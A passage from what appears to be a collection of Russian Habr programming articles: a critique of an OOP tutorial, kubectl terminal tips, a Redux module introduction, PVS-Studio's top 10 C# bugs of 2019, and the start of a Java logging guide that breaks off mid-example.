Не лишним будет заметить, что словарь нужен, чтобы выразить одну сущность, а массив — их набор. Эти коллекции противоположны, потому что несут разную семантику и операции над ними. Уродливый код — верный признак того, что вы выбрали не ту коллекцию, а уж никак не парадигму.
### Повторение кода
Давайте обсудим второй момент, функци `user1_add_bonus` и `user2_add_bonus`. На полном серьезе автор пишет две одинаковые функции. Разница в том, что они ссылаются на глобальные переменные `user1` и `user2`. Далее автор пишет:
> Сразу стало много кода — а это мы обработали всего двух покупателей. Представьте, что будет, когда покупателей станет хотя бы 10.
Что ж, согласимся — кода стало больше. Однако не потому, что процедурный стиль ущербный, а из-за странного подхода в статье. Если передать пользователя параметром, то понадобится одна универсальная функция, которая принимает `user`.
Дальше хуже: автор создает пять пользователей и копирует пять функций:
```
function user1_add_bonus(bonus_count) {
user1[3] += bonus_count;
user1[4] = Math.floor(user1[3]/10000);
if (user1[4] > 3) {
user1[4] = 3;
}
console.log('Бонусный уровень покупателя ', user1[0], ' : ', user1[4])
}
function user2_add_bonus(bonus_count) {
user2[3] += bonus_count;
user2[4] = Math.floor(user2[3]/10000);
if (user2[4] > 3) {
user2[4] = 3;
}
console.log('Бонусный уровень покупателя ', user2[0], ' : ', user2[4])
}
function user3_add_bonus(bonus_count) {
user3[3] += bonus_count;
user3[4] = Math.floor(user3[3]/10000);
if (user3[4] > 3) {
user3[4] = 3;
}
console.log('Бонусный уровень покупателя ', user3[0], ' : ', user3[4])
}
function user4_add_bonus(bonus_count) {
user4[3] += bonus_count;
user4[4] = Math.floor(user4[3]/10000);
if (user4[4] > 3) {
user4[4] = 3;
}
console.log('Бонусный уровень покупателя ', user4[0], ' : ', user4[4])
}
function user5_add_bonus(bonus_count) {
user5[3] += bonus_count;
user5[4] = Math.floor(user5[3]/10000);
if (user5[4] > 3) {
user5[4] = 3;
}
console.log('Бонусный уровень покупателя ', user5[0], ' : ', user5[4])
}
// Создаём первого покупателя
user1 = ['Вася',23,'Чебоксары',0,0];
// Добавляем ему 15000 бонусов
user1_add_bonus(15000);
// Создаём второго покупателя
user2 = ['Маша',19,'Белгород',3000,0];
// Добавляем ей 5000 бонусов
user2_add_bonus(5000);
// Создаём третьего покупателя
user3 = ['Максим',31,'Москва',0,1]
// Создаём четвёртого покупателя
user4 = ['Аня',45,'Казань',5000,2];
// Создаём пятого покупателя
user5 = ['Наташа',32,'Брянск',8000,1];
// Добавляем ей 10000 бонусов
user5_add_bonus(10000);
```
После которых идет комментарий:
> Код делает то же самое, при этом он больше на 20%, хотя у нас всего 5 пользователей. Если мы добавим еще 5, размер кода увеличится вдвое. А теперь представьте, что вам нужно добавить новое действие — списание бонусных баллов. В классе это сделать просто: в описании класса добавляем новый метод, и им могут пользоваться все объекты этого класса. А в процедурном программировании нам нужно будет прописывать столько же обработчиков, сколько и покупателей. Если у нас будет 100 покупателей, код превратится в ад.
Я даже не знаю, как это комментировать. Может, это стеб или мем, а я повелся? По крайней мере я знаю, что так писать не нужно, а начинающий примет код за чистую монету. С функцией, которая принимает словарь, мы заведем хоть десять тысяч пользователей, и объем кода не вырастет.
Можно возразить, что читатель не знает о параметрах и не поймет, о чем речь. Но уродливое решение не должно компенсировать пробел в знаниях. Такой код не примут даже на уроках по Турбо Паскалю в средней школе.
Такую же вакханалию мы могли бы устроить и в ООП. На каждого пользователя напишем по классу:
```
class User1:
def __init__(self, name, age, adress):
self.name = name
self.age = age
self.adress = adress
class User2:
def __init__(self, name, age, adress):
self.name = name
self.age = age
self.adress = adress
# ...
user1 = User1(...)
user2 = User2(...)
user3 = User3(...)
user4 = User4(...)
user5 = User5(...)
# ...
```
Получилось в пять раз больше кода! А что, если пользователей будет сто? Только представьте издержки, чтобы все это поддерживать. Вот почему ООП вам не подходит, а процедуры — самая крутая штука.
### Ошибочный вывод
Проблема статьи в том, что автор приводит читателя к ложному выводу. Якобы с процедурным подходом получается больше кода, и вдобавок он неудобный. Это совершенно не так — на простых случаях процедурный подход занимает **меньше кода** хотя бы из-за синтаксиса: объявление класса требует больше строк. Поэтому главный довод статьи — "вышло больше кода" — ложный.
Нечестность вывода подтверждается еще и тем, что автор шел к нему ложным путем. Выбрал неудачную структуру данных и копировал код там, где можно было передать параметр.
Очевидно, автору ставили цель — объяснить, что ООП круче процедурного стиля, но он плохо навел справки. Сравнивать парадигмы в первую очередь по размеру кода неправильно. Следовало бы сказать, что в ООП получается больше кода, но подход более абстрактный и используется в сложных системах. Выходит, что статья не раскрывает пользу ООП — если сравнить классы и функции по длине (короче — лучше), второй вариант в выигрыше. Пришлось идти на уловки — портить процедурный стиль и копировать код.
### Огрехи в коде
Если запустить код из статьи, он не сработает. Где-то ошибка в имени переменной: вместо `User` написано `user`. В Питоне и Javascript регистр имеет значение.
В коде на Питоне пляшут пробелы: где-то их четыре, а где три. В этом языке отступы нужны не для красоты, а для вложенности. Строка с тремя пробелами относится к другому логическому блоку.
Замечания по синтаксису: в Javascript используют `горбатыйРегистр`, а не `регистр_с_подчеркиваниями` как в Питоне (см. пункт про смешивание языков). Код набран небрежно: нет пробелов в массивах и арифметике. Это необязательно, но поскольку вы пишете для новичков, пробелы надо расставить для читаемости.
### Комментарии читателей игнорируются
Отдельно я бы хотел заметить, что почти все пункты были указаны читателями в комментариях к оригинальной статье. Пользователь Clean NPC пишет:
> Писать в переменную суперкласса — дурной тон.
Комментарий от Emil Orekhov:
> Делать пять одинаковых функций ни один программист в здравом уме не будет. Автор реально не понимает, как писать нормальный процедурный код, или, взяв откровенно неудачный пример, пытается натянуть сову на глобус?
Еще:
> вы написали пять функций, чтобы выполнять одно и тоже действие. Это противоречит всей концепции процедурного программирования. На самом деле туда надо и user передавать и отличие от кода на Питоне будут минимальными.
Еще:
> в тех примерах, где класс писался с большой буквы, там есть строчка: `user.user_count += 1` и по факту вылезет ошибка, так как user не существует — есть только User :)
Заключение
----------
После всего сказанного у меня несколько вопросов к редакции.
1. Приходилось ли показывать код из статьи сотруднику, который программирует по работе, а не в качестве хобби? Если да, разве он не обратил внимание на неточности?
2. Почему редакция игнорирует комментарии? Понимаю, что всем не угодишь, особенно по части стиля и именования. Но читатели указывают на явные ошибки. Комментариям уже полгода, но в статье ничего не изменилось.
3. И последний — мне кажется, что материал из статьи скорее вредит читателю, потому что вводит в заблуждение. Что думает об этом редакция? | https://habr.com/ru/post/513910/ | null | ru | null |
# Четыре простые настройки терминала Kubernetes, которые повысят вашу продуктивность
Я управлял эксплуатацией больших Kubernetes-кластеров более трёх лет, и хочу поделиться своим минималистичным подходом к настройке терминала kubectl terminal, которая доказала свою высокую эффективность в повседневной работе. Хорошо настроенный терминал с командной строкой может значительно повысить вашу продуктивность. Это как хлеб и масло — волшебное сочетание.
Но в отличие от популярных модификаций и функциональных добавлений я верю в простую конфигурацию, не требующую установки новых бинарников, обёрток или модификаций. Особенно в случае с kubectl — нативным, достаточно хорошо спроектированным инструментом, у которого совсем мало недостатков.
Вот четыре мои простых дополнения к терминалу kubectl. С этой конфигурацией я каждый день управляю 20 большими Kubernetes-кластерами на 400 машин.
Использование kubetail для отслеживания журналов многочисленных подов
=====================================================================
Первое, что сразу замечаешь при использовании kubectl, это сложность отслеживания журналов в многочисленных подах. Это один из самых востребованных сценариев, который до сих пор не реализован в kubectl.
Если вам нужно отслеживать в kubectl журнал одного пода, это выглядит так:
```
kubectl logs -f -n
```
Для отслеживания нескольких подов в kubetail достаточно написать:
```
kubetail -n
```
Вы начнёте отслеживать все поды, имя которых соответствует регулярному выражению. Поскольку журналирование одновременно ведётся по нескольким подам, kubetail помечает их разными цветами, чтобы помочь вам ориентироваться.
kubetail — простая обёртка поверх kubectl. Она легко устанавливливается, вы можете найти инструкции [здесь](https://github.com/johanhaleby/kubetail).
2. Динамическое изменение неймспейса по умолчанию
=================================================
В конце концов вам надоест раз за разом выставлять флаг неймспейса для каждой операции kubectl. Нужно придумать, как динамически менять заданные по умолчанию неймспейсы.
Для этого я написал простую функцию-алиас `ksn` (название подразумевает *set namespace*).
```
# Add the following to .zshrc/.bashrc...etc
# Allows setting default namespace while working with kubectl #
alias k='kubectl'
alias ksn='_f(){k get namespace $1 > /dev/null; if [ $? -eq 1 ]; then return $?; fi; k config set-context $(k config current-context) --namespace=$1; echo "Namespace: $1"};_f'
#Usage:
#➜ ~ ksn dev1 (dev-context/dev1)
# Context "dev-context" modified.
# Namespace: dev1
#➜ ~ ksn ff (dev-context/dev1)
# Error from server (NotFound): namespaces "ff" not found
```
Обычно мы работаем с массивом неймспейсов в зависимости от текущей задачи. А поскольку с неймспейсами Kafka связано 80 % проблем, эта функция давно является моим инструментом по умолчанию. Она сэкономит вам много времени, особенно при работе над сложными задачами, требующими ввода в kubectl многочисленных инструкций.
3. Отображение kube-context и namespace в shell prompt
======================================================
При использовании kubectl-команд всегда нужно обращать внимание на текущие `kube-context` и `namespace`. Это не так легко, когда одновременно управляешь кластерами в 20 разных контекстах и 50 неймспейсах. Возникает риск использовать в окружении неверную команду, особенно при одновременной работе над несколькими задачами в разных кластерах и контекстах.
Для решения этой проблемы крайне полезно постоянно отображать в соседнем окне активный неймспейс и контекст.
В примере ниже мой контекст — `dev2–1`, а неймспейс — `test`. Мне достаточно просто взглянуть на эту информацию, когда я выполняю разные команды в кластере.
Инструкции по установке и настройке вы найдёте [здесь](https://github.com/superbrothers/zsh-kubectl-prompt).
4. Важнейшие алиасы kubectl
===========================
Алиасы — самый быстрый способ настройки и ускорения вашей работы в терминале. Вот мои самые часто используемые алиасы, которые почти превратились в часть моей натуры:
```
alias k='kubectl '
alias kcc='kubectl config current-context'
alias kdp='kubectl delete po'
alias kgc='kubectl config get-contexts'
alias kge='kubectl get events --sort-by='\''{.lastTimestamp}'\'
alias kgp='kubectl get po'
alias kl='kubectl logs '
alias kpf='kubectl port-forward'
alias ksc='kubectl config use-context'
```
Лучше меньше, да лучше: не перегрузите свой терминал
====================================================
Мы рассмотрели четыре основных улучшения терминала для пользователей kubectl:
1. Использование kubetail для отслеживания логовов нескольких подов.
2. Динамическое изменение неймспейсов по умолчанию ради значительного уменьшения длины инструкций kubectl.
3. Отображение контекста и неймспейсов рядом с вашим терминалом ради избежания случайных ошибок.
4. Список важных алиасов kubectl.
В отличие от этого минималистского набора, популярные апгрейды терминала (вроде [K9s](https://k9ss.io/)) часто перегружены, наполнены функциями и фантиками, но при этом работают медленно, отвлекают внимание и, что куда важнее, они не нужны. Чем больше функций (блёсток и бантиков) вы добавляете, тем больше времени тратите на то, чтобы продраться через всю эту дополнительную информацию на экране.
Элегантная конфигурация терминала поможет вам сосредоточиться как ничто другое.
Простая конфигурация на основе командной строки позволит разрабатывать быстро и эффективно, используя нативные бинарники и инструменты. Это очень важно, особенно когда работаешь с большой инфраструктурой, входя и выходя из различных профилей на виртуальных машинах.
Конфигурация вашего терминала должна обогащать вас как разработчика, а не вызывать ощущения, что без неё вы как без рук. | https://habr.com/ru/post/520974/ | null | ru | null |
# Redux-Redents — (еще) один модуль для работы с серверными данными из React-Redux приложений.
React и Redux, в последнее время одни из самых популярных buzz-words в мире фронтенда. Поэтому когда мне потребовалось сделать веб-приложение, которое бы отображало данные, полученные с сервера, а также позволяло бы ими манипулировать (создавать, удалять и изменять), я решил построить его на основе связки React и Redux. Множество getting-started руководств покрывают только функционал создания компонентов, action creators и reducers. Но как только дело касается обмена с сервером, начинаются сложности — растет количество необходимых action creator, редьюсеров. Причем они очень похожи друг на друга, с миниальными отличиями. В большинстве случаев — только в типе (имени) активности. После того, как я создал третий одинаковый набор креаторов и редьюсеров, то появилось желание что-то изменить. Так родилась идея реализации [redux-redents](https://github.com/kneradovsky/redents).
Начало, dictionary reducers
---------------------------
В общем виде reducers очень похожи друг на друга — принять свой action и создать на его основе новое состояние хранилища. Если рассматривать reducers для обработки ответа с сервера, то они будут отличаться только типом action. Так родилась идея "универсального" редьюсера:
```
function createReducer(acttype,initialState) {
return (state = initialState, action) => {
if(action.type!=acttype) return state;
return action.res.data;
};
}
const dicts = {
type1 : createReducer(TYPE1_CONSTANT,{}),
type2 : createReducer(TYPE2_CONSTANT,[])
}
const rootReducer = combineReducers({...dicts});
```
Уже это позволяет не писать одинаковые функции и не городить switch-case конструкции.
Константы. Избавление.
----------------------
Словарь редьюсеров сократил количество одинакового кода, но остались константы для задания типов action. Добавление нового action и его обработчика выглядит так:
1. создать константу для типа action
2. создать action creator
3. создать обработчик createReducer с заданным типом.
Поддержка набора констант начинает раздражать практически сразу. Тем более, что смысла в них практически никакого нет — разработчик их использует только для связки creator и reducer. Таким образом константы можно заменить на соглашения о конфигурировании типов action.
Далее — все action creators для получения данных с сервера выглядят одинаково — создать action с нужным типом и promise для запроса на сервер. Если они выглядят одинаково, то не лучше ли автоматизировать процесс создания creators, а еще лучше сделать универсальный creator?
Объединение двух идей — замена констант соглашениями и универсальный creator и привели рождению модуля.
### Соглашения о данных
Если для обмена с сервером используется rest-like api, то для каждого типа данных у нас есть одинаковое число операций по-умолчанию: index (list), get, post, delete; а у каждой операции есть uri и параметры для передачи на сервер. Таким образом можно заключить соглашения об умолчаниях:
* каждый тип данных поддерживает стандартный набор операций
* для каждой операции определены правила вычисления url и параметров
Кроме этого нужно предусмотреть возможность расширения:
* добавление операций
* конструирование запроса
В результате появился следующий формат:
```
entities = {
fruit : {}, //all default
vegetable: {
crop : { //custom operation
type: 'CROP_VEGETABLE',
request: (data) => return post(url,data) //custom request
},
index: {
url: url1 //custom url
}
}
}
```
### Универсальный action creator
Теперь для упрощения жизни осталось реализовать универсальный actions creator. И снова нам на помощь приходят соглашения:
* стандартный набор операций — index, get, post, delete
* правила вычисления url — `url = base+entity+'s'`
* правила передачи параметров
+ get,delete — `url = url+'/'+data`
+ post — отправить data в теле запроса
Универсальный action creator позволяет сделать следующее:
```
this.props.entityOperation('fruit','index'); //загружает список фруктов
this.props.entityOperation('fruit','get','apple'); //получает фрукт по имени 'apple'
this.props.entityOperation('fruit','post',{name:'orange',id:'5'}); //обновляет или создает 'orange'
this.props.entityOperation('vegetable','crop',{name:'carrot'}); //выполняет операцию crop над parrot
```
Creator создает action с promise для отправки/получения данных на сервер. Promise нужно как-то обработать и здесь на поиощь приходят redux middleware
Middlewares
-----------
Redux middleware — это функция, которая принимает action и следующий в цепочке обработчик и, которая может обработать action сама и/или передать его дальше по цепочке обработчиков. Для обработки promise нам нужно принять исходный action, установить обработчики promise и модифицировать action, чтобы показать что система находится в состоянии запроса данных к серверу. Для модификации можно либо добавлять поля к action, либо модифицировать ее тип. Я выбрал модификацию типа.
### Promise Middleware
* изменяет тип `action.type = action.type+'_REQUEST';`
* создает обработчик успеха в promise `переслать в следующий обработчик исходный action с ответом сервера`
* создает обработчик ошибки `модифицировать тип - action.type=action.type+'_ERROR' и переслать в следующий обработчки ошибку, полученную с сервера`
* возвращает promise
Promises заработали, данные поступают с сервера, но стало не хватать возможности вызвать action после завершения выполнения другого. Например, обновить данные с сервера после сохранения данных на него же. Так была придумана Chain Middleware — функция, которая выполняет action creator после окончания обработки предыдущего action.
### Chain Middleware
Для реализации цепочек вызовов, последним параметром к универсальному action creator была добавлена порождающая новый action функция, которая принимает на вход ответ сервера (если он существует) или исходный action (в противном случае).
Порождающая функция вызывается только в том, случае если обрабатываемый action содержит поле status со значением 'done' (action.status=='done')
```
this.entityOperation('fruit','save',fruit,()=>this.props.entityOperation('fruit','index'));
```
Module
------
Естесственным желаением было поделиться этими идеями и их реализацией — так родился модуль redux-redents. Модуль доступен к установке через npm
```
npm install --save redux-redents
```
Пример использования
--------------------
В качестве примера разработано "приложение" [client-demo](https://github.com/kneradovsky/redents/tree/master/client-demo)
```
git clone https://github.com/kneradovsky/redents/
cd client-demo
npm install
npm start
```
последняя команда соберет приложение, запустит сервер разработки и откроет стартовый URL приложения в браузере
Приложение содержит одну страницу, которая отображает список фруктов и позволяет добавлять, удалять и редактировать фрукты. Вид страницы на скриншоте ниже:
Заключение
----------
Буду рад, если мой модуль окажется полезен. Открыт для вопросов, замечаний и предложений по расширению функциональности. Исходный код модуля, как всегда, доступен в [GitHub репозитории](https://github.com/kneradovsky/redents) | https://habr.com/ru/post/305074/ | null | ru | null |
# Топ 10 ошибок в проектах C# за 2019 год
Приветствуем всех любителей багов. Уже скоро наступит Новый год, так что самое время подвести итоги года уходящего. По традиции — рейтинг самых интересных ошибок, которые были обнаружены командой PVS-Studio в открытых проектах C# за 2019 год. Готовы? Тогда приступим.
Десятое место: «Запутать всех»
------------------------------
[V3066](https://www.viva64.com/ru/w/v3066/) Possible incorrect order of arguments passed to 'AdjustCellBorderStyle' method: 'isFirstDisplayedRow' and 'isFirstDisplayedColumn'. DataGridViewComboBoxCell.cs 1934
```
protected override void OnMouseMove(DataGridViewCellMouseEventArgs e)
{
....
dgvabsEffective = AdjustCellBorderStyle(
DataGridView.AdvancedCellBorderStyle,
dgvabsPlaceholder,
singleVerticalBorderAdded,
singleHorizontalBorderAdded,
isFirstDisplayedRow, // <=
isFirstDisplayedColumn); // <=
....
}
```
Ошибка из статьи "[WinForms: ошибки, Холмс](https://www.viva64.com/ru/b/0653/)". Анализатор указывает, что при передаче аргументов в метод два последних аргумента были перепутаны местами. Посмотрим на объявление *AdjustCellBorderStyle*:
```
public virtual DataGridViewAdvancedBorderStyle AdjustCellBorderStyle(
DataGridViewAdvancedBorderStyledataGridViewAdvancedBorderStyleInput,
DataGridViewAdvancedBorderStyle dataGridViewAdvancedBorderStylePlaceholder,
bool singleVerticalBorderAdded,
bool singleHorizontalBorderAdded,
bool isFirstDisplayedColumn,
bool isFirstDisplayedRow)
{
....
}
```
Похоже, что анализатор прав. Часто некоторые аргументы умышленно передают в обратном порядке, например, чтобы обменять местами какие-то переменные. Но не похоже, что это именно тот случай. Во-первых, перепутаны переменные типа *bool*. Во-вторых, названия методов также обычные: никаких «Swap» или «Reverse». К тому же, так ошибиться не так уж и сложно: люди часто по-разному воспринимают порядок следования пары «строка/столбец».
Девятое место: «Бесконечное рядом»
----------------------------------
[V3110](https://www.viva64.com/ru/w/v3110/) Possible infinite recursion inside 'TryValidateModel' method. PrefixedModuleUpdater.cs 48
```
public bool TryValidateModel(object model, string prefix)
{
return TryValidateModel(model, Prefix(prefix));
}
```
Ошибка из статьи "[Ищем и анализируем ошибки в коде Orchard CMS](https://www.viva64.com/ru/b/0681/)". Допущена ошибка, приводящая к возникновению бесконечной рекурсии. Для понимания того, как могла быть допущена эта ошибка, необходимо взглянуть на перегрузку метода *TryValidateModel*:
```
public bool TryValidateModel(object model)
{
return _updateModel.TryValidateModel(model);
}
```
Вероятно, что и в первом случае должен использоваться вызов вида:
```
public bool TryValidateModel(object model, string prefix)
{
return _updateModel.TryValidateModel(model, Prefix(prefix));
}
```
Код компилировался, так как *\_updateModel* имеет тип *IUpdateModel*, а текущий класс также реализует интерфейс *IUpdateModel*.
Восьмое место: «Попробуй, найди»
--------------------------------
[V3091](https://www.viva64.com/ru/w/v3091/) Empirical analysis. It is possible that a typo is present inside the string literal: «Management Group Id». The 'Id' word is suspicious. Constants.cs 36
```
public class HelpMessages
{
public const string SubscriptionId = "Subscription Id of the subscription
associated with the management";
public const string GroupId = "Management Group Id"; // <=
public const string Recurse = "Recursively list the children of the
management group";
public const string ParentId = "Parent Id of the management group";
public const string GroupName = "Management Group Id"; // <=
public const string DisplayName = "Display Name of the management group";
public const string Expand = "Expand the output to list the children of the
management group";
public const string Force = "Force the action and skip confirmations";
public const string InputObject = "Input Object from the Get call";
public const string ParentObject = "Parent Object";
}
```
Ошибка из статьи "[Azure PowerShell: «в основном безвреден](https://www.viva64.com/ru/b/0678/)». Анализатор заподозрил, что константу *GroupName* инициализировали ошибочной строкой. Вероятно, там должно быть что-то наподобие *«Management Group Name»*. Трудно судить о критичности этой ошибки, но она однозначно редкая и трудно обнаруживаемая.
Седьмое место: «Просто недоглядели»
-----------------------------------
[V3078](https://www.viva64.com/ru/w/v3078/) Original sorting order will be lost after repetitive call to 'OrderBy' method. Use 'ThenBy' method to preserve the original sorting. GridModel.Selection.cs 107
```
internal partial class GridModel
{
private void BuildCellSelectionRegions(....)
{
....
this.MergeCellSelectionRegions(selectedItemsInView
.OrderBy(c => c.Column.ItemInfo.LayoutInfo.Line)
.OrderBy(c => c.RowItemInfo.LayoutInfo.Line));
}
}
```
Ошибка из статьи "[Проверка Telerik UI for UWP для знакомства с PVS-Studio](https://www.viva64.com/ru/b/0677/)". Вследствие повторного использования *OrderBy* для уже отсортированной коллекции, результат предыдущей сортировки будет потерян. Необходимо использовать *ThenBy*:
```
this.MergeCellSelectionRegions(selectedItemsInView
.OrderBy(c => c.Column.ItemInfo.LayoutInfo.Line)
.ThenBy(c => c.RowItemInfo.LayoutInfo.Line));
```
Такие ошибки допускают по невнимательности или незнанию. Я думаю, что виноват copy-paste.
Шестое место: «Код документирован», – говорили они
--------------------------------------------------
[V3009](https://www.viva64.com/ru/w/v3009/) It's odd that this method always returns one and the same value of 'true'. MaskedTextProvider.cs 1529
```
public bool Remove(out int testPosition,
out MaskedTextResultHint resultHint)
{
....
if (lastAssignedPos == INVALID_INDEX)
{
....
return true; // nothing to remove.
}
....
return true;
}
```
Ошибка из статьи "[Проверка исходного кода библиотек .NET Core статическим анализатором PVS-Studio](https://www.viva64.com/ru/b/0656/)". Метод всегда вернёт *true*. Да, это ошибка, но любопытно другое. К методу прилагается развернутый комментарий:
*Removes the last character from the formatted string. (Remove last character in virtual string). On exit the out param contains the position where the operation was actually performed. This position is relative to the test string. The MaskedTextResultHint out param gives more information about the operation result. Returns* ***true*** *on success,* ***false*** *otherwise.*
Фокус на последнее предложение. Но кто вообще читает эти комментарии? А если серьёзно, то такая ошибка легко вкрадывается, например, при рефакторинге или отладке. Захотели проверить вариант, когда результат метода будет всегда *true*, ну и позабыли вернуть всё как было обратно.
Пятое место: «Индексируй меня, немедленно!»
-------------------------------------------
[V3102](https://www.viva64.com/ru/w/v3102/) Suspicious access to element of 'seq' object by a constant index inside a loop. XmlQueryRuntime.cs 738
```
public bool MatchesXmlType(IList seq, ....)
{
....
for (int i = 0; i < seq.Count; i++)
{
if (!CreateXmlType(seq[0]).IsSubtypeOf(....))
return false;
}
return true;
}
```
Ошибка из статьи "[Проверка исходного кода библиотек .NET Core статическим анализатором PVS-Studio](https://www.viva64.com/ru/b/0656/)". При обходе коллекции *seq* в цикле *for* ошибочно используют доступ только к её первому элементу на всех итерациях (индекс 0 вместо *i*).
Четвёртое место: «Всего-то доллара и не хватило»
------------------------------------------------
[V3138](https://www.viva64.com/ru/w/v3138/) String literal contains potential interpolated expression. Consider inspecting: e. SSPIHandleCache.cs 42
```
internal static void CacheCredential(SafeFreeCredentials newHandle)
{
try
{
....
}
catch (Exception e)
{
if (!ExceptionCheck.IsFatal(e))
{
NetEventSource.Fail(null, "Attempted to throw: {e}");
}
}
}
```
Ошибка из статьи "[Проверка исходного кода библиотек .NET Core статическим анализатором PVS-Studio](https://www.viva64.com/ru/b/0656/)". Строка *«Attempted to throw: {e}»*, по всей видимости, должна быть интерполированной. Из-за пропущенного символа *$* строковое представление исключения *e* не будет подставлено в строку. В результате строка будет использована «как есть».
Третье место: «Выхода нет»
--------------------------
[V3008](https://www.viva64.com/ru/w/v3008/) [CWE-563] The 'this.linker.s3.region' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 116, 114. AWSSDK.DynamoDBv2.Net45 S3Link.cs 116
```
public string Region
{
get
{
....
}
set
{
if (String.IsNullOrEmpty(value))
{
this.linker.s3.region = "us-east-1";
}
this.linker.s3.region = value;
}
}
```
Ошибка из статьи "[Ищем ошибки в исходном коде Amazon Web Services SDK для .NET](https://www.viva64.com/ru/b/0605/)". В теле блока *if* был пропущен *return*. В результате переменная *this.linker.s3.region* всегда получит значение *value*, включая пустую строку и *null*.
Второе место: «По порядку становись!»
-------------------------------------
[V3070](https://www.viva64.com/ru/w/v3070/) Uninitialized variable 'LANG\_USER\_DEFAULT' is used when initializing the 'LOCALE\_USER\_DEFAULT' variable. NativeMethods.cs 890
```
internal static class NativeMethods
{
....
public static readonly int LOCALE_USER_DEFAULT =
MAKELCID(LANG_USER_DEFAULT);
public static readonly int LANG_USER_DEFAULT =
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT);
....
}
```
Ошибка из статьи "[WinForms: ошибки, Холмс](https://www.viva64.com/ru/b/0653/)". Перепутан порядок инициализации полей класса. Для вычисления значения поля *LOCALE\_USER\_DEFAULT* используют поле *LANG\_USER\_DEFAULT*, которое в данный момент ещё не инициализировано и имеет значение 0. Переменная *LANG\_USER\_DEFAULT* далее в коде нигде не используется. Для понимания, к чему приводит такая ошибка, была написана тестовая программа, содержащая методы из кода WinForms. Для простоты, вместо некоторых используемых констант были подставлены их фактические значения:
```
internal static class NativeMethods
{
public static readonly int LOCALE_USER_DEFAULT =
MAKELCID(LANG_USER_DEFAULT);
public static readonly int LANG_USER_DEFAULT =
MAKELANGID(0x00, 0x01);
public static int MAKELANGID(int primary, int sub)
{
return ((((ushort)(sub)) << 10) | (ushort)(primary));
}
public static int MAKELCID(int lgid)
{
return MAKELCID(lgid, 0x0);
}
public static int MAKELCID(int lgid, int sort)
{
return ((0xFFFF & lgid) | (((0x000f) & sort) << 16));
}
}
class Program
{
static void Main()
{
System.Console.WriteLine(NativeMethods.LOCALE_USER_DEFAULT);
}
}
```
В результате запуска на консоль будет выведено: 0. Теперь исправим ошибку, поменяв местами объявление полей *LOCALE\_USER\_DEFAULT* и *LANG\_USER\_DEFAULT*. Результат выполнения программы в таком виде: 1024.
Первое место: «Доверяй, но проверяй»
------------------------------------
С первым местом всегда непросто. Здесь должно быть что-то экстраординарное и очень интересное. Изначально для этой статьи я отобрал более двадцати интересных ошибок, но ничего достойного первого места среди них не было. И тут я вспомнил о статье моего коллеги Сергея Васильева, посвященной одной единственной ошибке. Прелесть этой ошибки в том, что она напрямую влияла на работу нашего анализатора. Как? Это понятно уже из названия статьи "[История о том, как PVS-Studio нашёл ошибку в библиотеке, используемой в… PVS-Studio](https://www.viva64.com/ru/b/0654/)". Опять же, лень никто не отменял. :) А я здесь совершенно с чистой совестью заленюсь и не стану приводить описание ошибки, а предложу проследовать по ссылке на статью и узнать подробности. Гарантирую – это того стоит. Да и статья короткая.
Заключение
----------
Надеюсь, ошибки были интересными, а статья не утомила. Напоминаю, что вы всегда можете [скачать](https://www.viva64.com/ru/pvs-studio-download/) анализатор PVS-Studio, чтобы самим поискать ошибки в своих и сторонних проектах, порадовать себя, друзей и коллег. И пусть ошибок будет поменьше, а времени на самосовершенствование — побольше! :)
Дочитали? Поздравляю с переходом на следующий уровень! В следующих статьях нашего блога — лучшие баги 2019 года в проектах на [Java](https://habr.com/ru/company/pvs-studio/blog/481186/) и [C++](https://habr.com/ru/company/pvs-studio/blog/481190/).
[](https://habr.com/en/company/pvs-studio/blog/481174/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Sergey Khrenov. [Top 10 Bugs Found in C# Projects in 2019](https://habr.com/en/company/pvs-studio/blog/481174/). | https://habr.com/ru/post/481178/ | null | ru | null |
# Логирование в Java / quick start
В ходе моей работы в компании DataArt я, в числе прочего, занимаюсь менторской деятельностью. В частности это включает в себя проверку учебных заданий сделанных практикантами. В последнее время в заданиях наметилась тенденция «странного» использования логеров. Мы с коллегами решили включить в текст задания ссылку на статью с описанием java logging best practices, но оказалось, что такой статьи в которой бы просто и без лишних деталей на практике объяснялось бы как надо писать в лог на Java, вот так вот с ходу не находится.
Данная статья не содержит каких-то откровений, в ней не рассматриваются тонкости какого либо из многочисленных java logging frameworks. Здесь рассказываю как записать в лог так, чтобы это не вызвало удивления у Ваших коллег, основная цель написания включить ее в список обязательного чтения для практикантов. Если все еще интересно, читайте дальше
Несколько разъяснений.
* Весь код примеров использует java.util.logging framework. Вопрос «Какой из фреймворков логирования ниболее кошерен» я оставлю за кадром. Скажу только что до java.util.logging проще всего дотянуться ибо он уже идет вместе с JRE и на самом деле рассказанное в данной статье с минимальными косметическими правками верно для подавляющего большинства систем логирования.
* В целом рецепты приведенные в данной статье не являются единственно верными, есть моменты о которых можно поспорить, но в целом эти рецепты используются многие годы, многими разработчиками, во многих проектах и они достаточно хороши чтобы им следовать если у Вас нет каких-то совсем уже серьезных возражений.
* В статье не рассматриваются такие «продвинутые» топики как:
+ Конфигурирование уровней для отдельных логеров
+ Форматирования логов
+ Асинхронное логирование
+ Создание собственных уровней логирования в Log4J
+ Контекстное логирование
+ И многое другое
* Слово logging я пишу по русски как логирование с одной буквой «г» в основном потом, что такой вариант перевода чаще встречается
* Советы, что, с каким уровнем логировать я пожалуй тоже оставлю за кадром т.к. тут все сильно зависит от приложения, условий эксплуатации, отношений с заказчиком и т.п. тонких вещей.
##### Пример №1
###### Хорошо
```
public class SomeClass {
private static Logger log = Logger.getLogger(SomeClass.class.getName());
public void someMethod()
{
log.info("Some message");
}
...
```
1. Логер это статическое поле класса инициализируемое при загрузке класса, имеет простое, короткое имя, важно чтобы во всех Ваших классах переменная логера называлась одинаково (это диктуется общим правилом, одинаковые вещи в программе должны делаться одинаковым образом).
2. В качестве имени логера я использую имя класса, на самом деле это не единственный способ, можно пытаться организовать какую-то свою иерархию логирования (например transport layer/app layer для подсистем имеющих дело с обменом данными), но как показывает практика выдумывать и главное потом неукоснительно следовать такой иерархии крайне сложно, а вариант с именами логеров совпадающими с именами классов весьма хорош и используется в 99% проектов
3. Здесь для записи в лог я использую короткий метод .info, а не более общий метод .log, так много лаконичнее
4. Имя логера берется как SomeClass.class.getName(), а не как «com.dataart.demo.java.logging.SomeClass», оба способа по идее одинаковы, но первый защищает Вас от сюрпризов при рефакторинге имени/пакета класса
###### Плохо
```
public class SomeClass {
public void someMethod()
{
